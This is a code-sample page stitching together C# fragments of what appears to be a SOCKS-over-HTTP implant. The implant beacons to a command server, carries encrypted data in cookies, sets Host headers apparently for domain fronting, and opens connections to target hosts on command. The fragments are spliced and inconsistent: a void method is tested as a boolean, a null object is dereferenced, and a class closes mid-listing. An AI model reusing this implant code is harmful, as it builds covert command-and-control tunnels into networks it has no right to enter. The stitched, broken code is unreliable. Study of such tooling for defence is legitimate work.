Пример #1
0
 public void StartCommandLoop(SocksController loopController)
 {
     _cancelTokenSource = new CancellationTokenSource();
     _cancelToken = _cancelTokenSource.Token;
     _commandChannelLoop = new System.Threading.Tasks.Task((g) => {
         try
         {
             ImplantComms.LogMessage($"Command loop starting - beacon time is {C2Config.CommandBeaconTime}ms");
             if (!CommandLoop((CancellationToken)g))
             {
                 loopController.StopProxyComms();
                 _error.LogError($"Stopping all proxy comms as command channel is now broken");
                 return;
             }
         }
         catch (Exception ex)
         {
             var lst = new List<String>
             {
                 "Error in command channel loop"
             };
             _error.LogError($"Command Channel loop is broken {ex.Message}, hard stopping all connections");
             loopController.StopProxyComms();
             return;
         }
     }, _cancelToken);
     _commandChannelLoop.Start();
 }
Пример #2
0
        public string Initialize()
        {
            string pubKey = null;

            try
            {
                _error           = new InternalErrorHandler(_config.ImplantComms);
                _cmdCommsHandler = new CommandCommunicationHandler(Encryptor, _config, _error)
                {
                    ImplantComms = ImplantComms
                };
                _sockLoopctrller = new SocksLoopController()
                {
                    Encryption      = Encryptor,
                    ErrorHandler    = _error,
                    CmdCommshandler = _cmdCommsHandler,
                    ImplantComms    = ImplantComms
                };
                _cmdChannel = new CommandChannelController(_config.CommandChannel, _sockLoopctrller, _cmdCommsHandler, _error)
                {
                    ImplantComms = ImplantComms
                };
            }
            catch (Exception ex)
            {
                var mesg = new List <String>
                {
                    "Failed to derive server key",
                    ex.Message
                };
                _error.LogError(mesg);
            }
            return(pubKey);
        }
Пример #3
0
        public SocksController(SocksClientConfiguration config)
        {
            List <string> mesg = new List <String>();

            if (config == null)
            {
                throw new Exception("Config object is null");
            }
            if (config.CommandServerUI == null)
            {
                mesg.Add("ProxyIP is null");
            }
            if (config.ImplantComms == null)
            {
                throw new Exception("Implant callback is null");
            }

            _config = config;

            if (mesg.Count > 0)
            {
                _error.LogError(mesg);
            }
        }
Пример #4
0
        public List <byte> Send(String sessionPayload, String status, List <byte> payload, out bool commandChannelDead)
        {
            commandChannelDead = false;

            if (String.IsNullOrWhiteSpace(status))
            {
                status = "nochange";
            }

            var sessionAndStatus        = sessionPayload + ":" + status;
            var encryptedSessionPayload = _encryption.Encrypt(UTF8Encoding.UTF8.GetBytes(sessionAndStatus).ToList());

            var         cookies = new CookieContainer();
            WebClientEx wc      = null;

            if (!String.IsNullOrWhiteSpace(_config.HostHeader))
            {
                wc = new WebClientEx(cookies, _config.HostHeader, _config.InsecureSSL)
                {
                    UserAgent = _config.UserAgent
                }
            }
            ;
            else
            {
                wc = new WebClientEx(cookies, _config.InsecureSSL)
                {
                    UserAgent = _config.UserAgent
                }
            };

            if (_config.UseProxy)
            {
                if (null == _config.WebProxy)
                {
                    wc.Proxy = HttpWebRequest.GetSystemWebProxy();
                }
                else
                {
                    wc.Proxy = _config.WebProxy;
                }
            }
            wc.Headers.Add("Host", _config.HostHeader);

            cookies.Add(new Cookie($"{_config.SessionCookieName}", $"{encryptedSessionPayload}")
            {
                Domain = (!String.IsNullOrWhiteSpace(_config.HostHeader)) ? _config.HostHeader.Split(':')[0] : _config.URL.Host
            });

            string encPayload = null;

            if (null != payload && payload.Count > 0)
            {
                try
                {
                    encPayload = _encryption.Encrypt(payload);
                    if (String.IsNullOrWhiteSpace(encPayload))
                    {
                        _error.LogError("Encrypted payload was null, it shouldn't be");
                        if (!InitialConnectionSucceded.HasValue)
                        {
                            InitialConnectionSucceded = false;
                        }
                        return(null);
                    }
                }
                catch (Exception ex)
                {
                    _error.LogError(ex.Message);
                    return(null);
                }
            }

            bool   retryRequired = false;
            Int32  retryInterval = 2000;
            UInt16 retryCount    = 0;
            Guid   errorId       = Guid.NewGuid();

            //This is only if the command channel has failed first time
            do
            {
                try
                {
                    String response = null;
                    if (encPayload != null && encPayload.Count() > 4096)
                    {
                        response = wc.UploadString(BuildServerURI(), encPayload);
                    }
                    else
                    {
                        if (null != _config.HostHeader)
                        {
                            if (wc.Headers.AllKeys.Contains("Host"))
                            {
                                if (wc.Headers["Host"] != _config.HostHeader)
                                {
                                    wc.Headers["Host"] = _config.HostHeader;
                                }
                            }
                            else
                            {
                                wc.Headers.Add("Host", _config.HostHeader);
                            }
                        }
                        if (payload != null && payload.Count() > 0)
                        {
                            cookies.Add(new Cookie($"{_config.PayloadCookieName}", $"{encPayload}")
                            {
                                Domain = (!String.IsNullOrWhiteSpace(_config.HostHeader)) ? _config.HostHeader.Split(':')[0] : _config.URL.Host
                            });
                        }

                        response = wc.DownloadString(BuildServerURI());
                    }

                    if (!InitialConnectionSucceded.HasValue)
                    {
                        InitialConnectionSucceded = true;
                    }

                    if (null != response && response.Count() > 0)
                    {
                        return(_encryption.Decrypt(response));
                    }
                    else
                    {
                        return(new List <byte>());
                    }
                }
                catch (System.Net.WebException ex)
                {
                    var lst = new List <String>();
                    if (WebExceptionAnalyzer.IsTransient(ex))
                    {
                        if (15 > retryCount++)
                        {
                            _error.LogError($"Error has occured and looks like it's transient going to retry in {retryInterval} milliseconds: {ex.Message}");
                            retryRequired = true;

                            if (retryInterval++ > 2)
                            {
                                retryInterval += retryInterval;
                            }

                            Timeout.WaitOne(retryInterval);
                        }
                        else
                        {
                            _error.FailError($"Kept trying but afraid error isn't going away {retryInterval} {ex.Message} {ex.Status.ToString()} {_config.CommandServerUI.ToString()} {errorId.ToString()}");
                            commandChannelDead = true;
                            return(null);
                        }
                    }
                    else if (sessionPayload == _config.CommandChannelSessionId)
                    {
                        if (!RetryUntilFailure(ref retryCount, ref retryRequired, ref retryInterval))
                        {
                            lst.Add("Command channel re-tried connection 5 times giving up");
                            ReportErrorWebException(ex, lst, errorId);
                            commandChannelDead = true;
                            return(null);
                        }
                        retryRequired = true;
                    }
                    else
                    {
                        ReportErrorWebException(ex, lst, errorId);
                        if (HttpStatusCode.NotFound == ((HttpWebResponse)ex.Response).StatusCode)
                        {
                            if (_error.VerboseErrors)
                            {
                                _error.LogError(String.Format($"Connection on server has been killed"));
                            }
                        }
                        else
                        {
                            _error.LogError(String.Format($"Send to {_config.URL} failed with {ex.Message}"));
                        }
                        return(null);
                    }
                }
            } while (retryRequired);

            if (!InitialConnectionSucceded.HasValue)
            {
                commandChannelDead        = true;
                InitialConnectionSucceded = false;
            }

            return(null);
        }

        bool RetryUntilFailure(ref UInt16 retryCount, ref bool retryRequired, ref Int32 retryInterval)
        {
            if (5 <= retryCount++)
            {
                return(retryRequired = false);
            }

            _error.LogError($"Command Channel failed to connect : retry interval {retryInterval} ms");
            Timeout.WaitOne(retryInterval);
            retryInterval += retryInterval;
            return(true);
        }

        Uri BuildServerURI(String payload = null)
        {
            if (null != _config.Tamper)
            {
                return(new Uri(_config.Tamper.TamperUri(_config.CommandServerUI, payload)));
            }

            if (_config.URLPaths.Count() == 0)
            {
                return(new Uri(_config.URL, "Upload"));
            }
            else
            {
                var path = _config.URLPaths[_urlRandomizer.Next(0, _config.URLPaths.Count())];
                return(new Uri(_config.URL, path));
            }
        }

        void ReportErrorWebException(System.Net.WebException ex, List <String> lst, Guid errorId)
        {
            lst.Add(ex.Message);
            lst.Add(ex.Status.ToString());
            lst.Add(_config.CommandServerUI.ToString());
            lst.Add(errorId.ToString());
            _error.LogError(lst);
        }
    }
        void CommandLoop(CancellationToken token)
        {
            Int16 retryCounter = 0;

            do
            {
                if (token.IsCancellationRequested)
                {
                    return;
                }
                var request  = BuildRequestPayload();
                var response = _cmdCommsHandler.Send(CommandChannelSessionId, UTF8Encoding.UTF8.GetBytes(request.ToString()).ToList());
                if (null == response || response.Count() == 0)
                {
                    _error.LogError($"Command Channel loop appears broken attempting to reconnect in {C2Config.CommandTimeoutRetryOnFailure/1000}s");
                    Timeout.WaitOne(C2Config.CommandTimeoutRetryOnFailure);
                    if (++retryCounter == (C2Config.CommandTimeoutRetryAttempts + 1))
                    {
                        _error.LogError($"Command Channel loop is dead attempted to reconnect {retryCounter} times. EXITING");
                        return;
                    }
                }
                else
                {
                    //Reset the failure counter on reconnect
                    retryCounter = 0;

                    var xdoc = XDocument.Parse(UTF8Encoding.UTF8.GetString(response.ToArray()));
                    var elms = xdoc.XPathSelectElements("Response/Tasks/Task");

                    if (elms.Count() > 0)
                    {
                        ImplantComms.LogMessage($"{elms.Count()} tasks recieved");
                        //We have tasks Queue em up
                        xdoc.XPathSelectElements("Response/Tasks/Task").ToList().ForEach(x =>
                        {
                            var nodeCreate = x.XPathSelectElement("CreateListener");
                            var nodeClose  = x.XPathSelectElement("CloseListener");
                            if (nodeCreate != null)
                            {
                                var host      = nodeCreate.Attribute("TargetHost").Value;
                                var strPort   = nodeCreate.Attribute("TargetPort").Value;
                                var port      = ushort.Parse(strPort);
                                var sessionId = nodeCreate.Attribute("SessionID").Value;
                                ImplantComms.LogMessage($"About to open connection to {host}:{strPort}");
                                if (_client.OpenNewConnectionToTarget(sessionId, host, port))
                                {
                                    QueueListenerStatus(sessionId, "open");
                                }
                                else
                                {
                                    ImplantComms.LogError($"FAILED {host}:{strPort}");
                                    QueueListenerStatus(sessionId, "failed");
                                }
                            }
                            else if (nodeClose == null)
                            {
                                var sessionId = nodeClose.Attribute("SessionID");
                                if (null != sessionId)
                                {
                                    if (!String.IsNullOrWhiteSpace(sessionId.Value))
                                    {
                                        _client.Stop(sessionId.Value);
                                        QueueListenerStatus(sessionId.Value, "closed");
                                    }
                                    else
                                    {
                                        ImplantComms.LogError($"Close session id message is null");
                                    }
                                }
                            }
                            else
                            {
                                return;
                            }
                        });
                    }
                    //Sleep til we need to beacon again
                    //TO DO: Add in Jitter time, not curenntly implemented
                    if (token.IsCancellationRequested)
                    {
                        return;
                    }
                    Timeout.WaitOne(C2Config.CommandBeaconTime);
                }
            }while (!token.IsCancellationRequested);
        }